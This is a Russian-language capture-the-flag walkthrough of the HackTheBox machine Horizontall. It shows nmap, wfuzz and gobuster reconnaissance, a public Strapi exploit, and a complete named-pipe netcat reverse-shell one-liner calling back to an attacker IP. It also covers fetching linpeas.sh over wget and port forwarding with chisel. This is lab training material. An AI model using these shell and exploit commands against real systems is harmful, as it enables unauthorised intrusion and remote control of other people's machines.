Введение

Начинаю публикацию решений машин с площадки HackTheBox. Надеюсь этот туториал станет небольшой подсказкой тем, кто только начинает свой путь в этичном взломе. Начнем....

Для успешного прохождения необходимо:

  • Знать, что такое эксплойт

  • Уметь "правильно” гуглить

В итоге мы узнаем:

  • Как искать точку входа

  • Что нужно для повышения привилегий

  • Почему пробросить порт стало так просто

Разведка

Именно с разведки начинается любая атака на целевую систему. Необходимо понять, что вообще можно атаковать. Используем сканер nmap.

nmap -A -sC -sV -Pn 10.10.11.105 -p-.

Получили следующее:

Любой порт является потенциальной точкой входа, но имея небольшой опыт пребывания на данной площадке могу сказать: "22 порт не наш вариант". Пользователи тут замысловатые и пароли у них серьезные. Наша цель – 80 порт. Едем дальше..

Для начала добавим IP атакаемой машины в файл /etc/hosts, что обращаться по доменному имени.

Отлично! Посетим веб-сайт, может найдем что-нибудь интересное...

Рекомендую «бегло» просматривать код страницы. В нем может заваляться чувствительная информация (пароли, версии используемого ПО, полезные ссылки). Далее перебор директорий, но тут, к сожалению dirbuster не справляется...

Любая уважающая себя компания будет использовать в своих целях несколько доменов. Это следующее, что необходимо проверить. Машины с HTB находятся в vpn сети, поиск поддоменов через онлайн сервисы к результату точно не приведет. Для этого отлично подойдет утилита wfuzz.

wfuzz -w subdomain.txt -u 'http://horizontall.htb/' -H "Host: FUZZ.horizontall.htb" --hc 301

И спустя некоторое время...

Данный поддомен необходимо добавить в файл /etc/hosts и сразу проверить на наличие интересных директорий.

gobusterdir -u http://api-prod.horizontall.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x txt,php –e

Точка входа

CMS Strapi. Немного погуглить... Точка входа найдена!

Применяем эксплойт.

python3 50239.py http://api-prod.horizontall.htb/

Экплойт работает, shell есть!

Я сразу поднимаю у себя локальный сервер (nc -nvlp 1234) и получаю обратный shell (rm /tmp/f; mknod /tmp/f p;cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14.10 1234 > /tmp/f). Все обратные shells приведены тут. Я использовал вывод команд через файл (rm /tmp/f;mknod /tmp/f p;cat /tmp/f), так как при обычном подключении (nc 10.10.14.10 1234) вывод команд не отображается. Это связано с настройками целевой системы, а именно с тем, что пользователь strapi по умолчанию не имеет интерактивной оболочки.

Для удобства перейдем в bash.

python3 -c 'import pty;pty.spawn("/bin/bash")'

Повышения привилегий

Для повышения привилегий я использую проект linpeas.sh. Предварительно подняв сервер (python3 -m http.server) и закачав его на атакуемую машину (wget http://10.10.14.10:8000/linpeas.sh).

Запускаем скрипт и ждем пару минут

sh linpeas,sh

Данный скрипт позволяет собирать информацию о системе, версиях используемого ПО, открытых портах и т.д.

База данных mysql, а вот на 8000 порту может быть что-то интересное.

Как достучаться?

Итак, мы подошли к самому главному в этой статье. Проброс порта - штука полезная, но немного не понятная.  Раньше я пробрасывал как описано тут. Для успешного проброса необходимо либо найти пароль пользователя, либо настроить свою ssh службу (которая по умолчанию не настроена).

Скрипт с задачей справился и нашел пароль, но он, к сожалению не подходит

А еще с пробосом через ssh существует море проблем...

  • Тайминги

  • Пользователю нельзя использовать ssh

  • Подключения логируются

  • За ssh, как правило следят

Полазив в интернете, я нашел интересное ПО, которое позволяет пробросить порт за считанные секунды. Встречайте, chisel. Данное ПО состоит из двух компонентов: сервера и клиента. Сервер поднимаем у себя, а клиент на целевой системе.

Не забудьте дать клиенту право на исполнение.

Получается, что между нашими машинами был создан своего рода туннель. Более подробно об этом можно посмотреть в этом видео. Теперь обратимся к 8001 порту, через localhost.

Поиск эксплойта в интернете не занял много времени.

Используем.

Получаем shell как описано выше.

Тачка пройдена! Всем удачного взлома.

Комментарии (0)